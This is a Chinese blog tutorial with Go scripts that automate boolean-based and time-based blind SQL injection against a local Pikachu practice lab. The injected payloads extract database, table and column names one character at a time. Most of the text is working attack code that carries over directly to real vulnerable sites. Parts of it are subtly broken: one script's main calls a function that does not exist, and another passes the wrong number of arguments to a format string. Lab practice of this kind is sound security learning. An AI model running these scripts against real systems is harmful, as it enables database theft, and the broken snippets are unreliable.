Golang实现盲注
Golang实现布尔盲注
上一篇讲到了盲注的实现过程,现在我们可以一起来学习一下脚本的编写
盲注payload
kobe' and length(database()) = 7#
kobe' and ascii(substr(database(),1,1)) > 111#
构造poc
常规循环实现
package main
import (
"fmt"
"io"
"log"
"net/http"
"net/url"
"os"
"strings"
)
var SplicingPayload = "select group_concat(column_NAME) from information_schema.columns where TABLE_NAME = 'users'"
var payload = "kobe' and ascii(substr((%s),%v,1)) > %v#"
var flag string
func main(){
url := "http://localhost:8000/vul/sqli/sqli_blind_b.php?name="
url1 := "&submit=查询##&submit=查询"
sqlin2(url, url1)
}
func sqlin(url1 string, url2 string) {
for i := 1; i < 200; i++ {
for j := 1; j < 127; j++ {
if j > 50 {
payload1 := fmt.Sprintf(payload, i, j)
// fmt.Println(payload1)
payload2 := url.QueryEscape(payload1)
payload1 = url1 + payload2 + url2
// fmt.Println(payload1)
re := send(payload1)
if check(re) {
flag += string(j)
fmt.Println(flag)
}
}
}
}
}
// 网络请求
func send(url string) string {
client := &http.Client{}
req,err := http.NewRequest("GET",url,nil)
req.Header.Set("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36")
resp, err := client.Do(req)
if err != nil {
log.Fatal(err)
}
defer resp.Body.Close()
rest, err := io.ReadAll(resp.Body)
res := string(rest)
return res
}
// 内容读取
func check(test string) bool {
return strings.Contains(test, "[email protected]")
}
二分查找法
package main
import (
"fmt"
"io"
"log"
"net/http"
"net/url"
"os"
"strings"
)
var SplicingPayload = "select group_concat(column_NAME) from information_schema.columns where TABLE_NAME = 'users'"
var payload = "kobe' and ascii(substr((%s),%v,1)) > %v#"
var flag string
func main(){
url := "http://localhost:8000/vul/sqli/sqli_blind_b.php?name="
url1 := "&submit=查询##&submit=查询"
attack(url, url1)
}
func attack(url1 string,url2 string) {
for i := 1; i < 200; i++ {
low := 38
high := 127
mid := (low + high) / 2
for high > low {
payload1 := fmt.Sprintf(payload, SplicingPayload, i, mid)
payload2 := url.QueryEscape(payload1)
payload1 = url1 + payload2 + url2
resp := send(payload1)
if check(resp) {
low = mid + 1
} else {
high = mid
}
mid = (low + high) / 2
if string(mid) == "&" {
os.Exit(0)
}
}
flag += string(mid)
fmt.Println(flag)
}
}
// 网络请求
func send(url string) string {
client := &http.Client{}
req,err := http.NewRequest("GET",url,nil)
req.Header.Set("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36")
resp, err := client.Do(req)
if err != nil {
log.Fatal(err)
}
defer resp.Body.Close()
rest, err := io.ReadAll(resp.Body)
res := string(rest)
return res
}
// 内容读取
func check(test string) bool {
return strings.Contains(test, "[email protected]")
}
另一种实现思路
package main
import (
"fmt"
"io"
"log"
"net/http"
"net/url"
"strings"
"time"
)
func main() {
url := "http://localhost:8000/vul/sqli/sqli_blind_b.php?name="
url1 := "&submit=查询##&submit=查询"
attackBinary(url, url1)
}
func attackBinary(url1 string, url2 string) string {
defer measureTime(time.Now(), "Binary")
dbName := ""
sqlPayload := "database()"
j := 1
exitFlag := false
for !exitFlag {
exitFlag = true
low := 32
high := 126
for high >= low {
mid := (low + high) / 2
payload1 := fmt.Sprintf("kobe' and ascii(substr(%s,%d,%d)) = %d#", sqlPayload, j, j, mid)
// 编码转换
payload2 := url.QueryEscape(payload1)
payload1 = url1 + payload2 + url2
resp := send(payload1)
if strings.Contains(resp, "[email protected]") {
dbName += string(mid)
fmt.Println("flag :", dbName)
exitFlag = false
break
}
payload1 = fmt.Sprintf("kobe' and ascii(substr(%s,%d,%d)) > %d#", sqlPayload, j, j, mid)
payload2 = url.QueryEscape(payload1)
payload1 = url1 + payload2 + url2
resp = send(payload1)
if strings.Contains(resp, "[email protected]") {
low = mid + 1
} else {
high = mid - 1
}
}
j += 1
}
return dbName
}
// 时间统计
func measureTime(start time.Time, name string) {
elapsed := time.Since(start)
log.Fatalf("Time for %s:%s", name, elapsed)
}
// 网络请求
func send(url string) string {
client := &http.Client{}
req, err := http.NewRequest("GET", url, nil)
req.Header.Set("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36")
resp, err := client.Do(req)
if err != nil {
log.Fatal(err)
}
defer resp.Body.Close()
rest, err := io.ReadAll(resp.Body)
res := string(rest)
return res
}
Golang实现时间盲注
目前我使用的这个延时注入脚本较慢,因为在判断的过程中,会将sleep()函数进行执行,导致判断时间较长
package main
import (
"fmt"
"log"
"net/http"
"net/url"
"time"
)
var url1 = "http://localhost:8000/vul/sqli/sqli_blind_b.php?name="
var url2 = "&submit=查询#&submit=查询"
func main() {
payload := "(select group_concat(table_name) from information_schema.tables where table_schema=database())"
testGeneralBaseTime(payload)
}
// 获取GET请求,返回是否存在延时
func getRequestBaseTime(payload string) bool {
startTime := time.Now()
payload = url.QueryEscape(payload)
urlL := url1 + payload + url2
// 在pikachu时间注入里 只能发送post请求 才能有时间回显,先开始哦一直用的Get导致出现404报错!!
resp, err := http.Post(urlL, "application/x-www-form-urlencoded", nil)
if err != nil {
log.Fatal(err)
}
defer resp.Body.Close()
if resp.StatusCode != 200 {
log.Fatal("请求失败")
}
endTime := time.Now()
// Sub()返回时间差
usedTime := endTime.Sub(startTime)
if usedTime > 3*time.Second {
return true
}
return false
}
// 二分法编写通用注入方法
func testGeneralBaseTime(payload string) string {
var flag string
exitFlag := false
j := 1
for !exitFlag {
exitFlag = true
high := 127
low := 38
for high >= low {
mid := (high + low) / 2
payloadGeneral := fmt.Sprintf("kobe' and if(ascii(substr(%s,%d,%d))=%d,sleep(3),1)#", payload, j, j, mid)
if getRequestBaseTime(payloadGeneral) {
flag += string(mid)
fmt.Println(flag)
exitFlag = false
break
}
payloadGeneral1 := fmt.Sprintf("kobe' and if(ascii(substr(%s,%d,%d))>%d,sleep(3),1)#", payload, j, j, mid)
if getRequestBaseTime(payloadGeneral1) {
low = mid + 1
} else {
high = mid - 1
}
}
j += 1
}
return flag
}
学习的师傅文章链接:
https://www.cnblogs.com/newbe3three/p/15917296.html#%E6%97%B6%E9%97%B4%E5%9E%8B
本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 Antifrag!





